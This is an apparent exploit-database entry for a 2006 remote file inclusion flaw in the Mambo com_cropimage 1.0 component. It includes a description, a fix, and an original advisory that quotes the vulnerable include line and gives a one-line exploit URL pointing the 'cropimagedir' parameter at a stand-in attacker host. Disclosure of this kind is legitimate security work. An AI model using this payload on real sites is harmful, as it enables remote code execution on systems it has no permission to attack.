header-logo
Suggest Exploit
vendor:
com_cropimage
by:
XORON
7,5
CVSS
HIGH
Remote Include Vulnerability
98
CWE
Product Name: com_cropimage
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Mambo com_cropimage 1.0 Component Remote Include Vulnerability

A remote include vulnerability exists in Mambo com_cropimage 1.0 Component. This issue is due to a failure in the application to properly sanitize user-supplied input passed via HTTP GET requests to the 'cropimagedir' parameter of the 'admin.cropcanvas.php' script. This may allow a remote attacker to include arbitrary files from remote hosts resulting in arbitrary code execution within the context of the webserver process.

Mitigation:

Add the following code before line 7 in admin.cropcanvas.php: defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' )
Source

Exploit-DB raw data:

############################################################
############################################################
############# C Y B E R - W A R R I O R  T I M #############
############################################################
############################################################

#Mambo com_cropimage 1.0 Component Remote Include Vulnerability

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  in admin.cropcanvas.php , line 7

require_once $cropimagedir."class.cropinterface.php";

############################################################

#Fix: 1-)open admin.cropcanvas.php
       2-)add this code before line 7

        defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

############################################################

#Exploit:
http://www.site.com/[path]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA, mdx, DJR, DaRK,R3D4C!D,iNSoMNiA and all my friend

############################################################

# milw0rm.com [2006-08-19]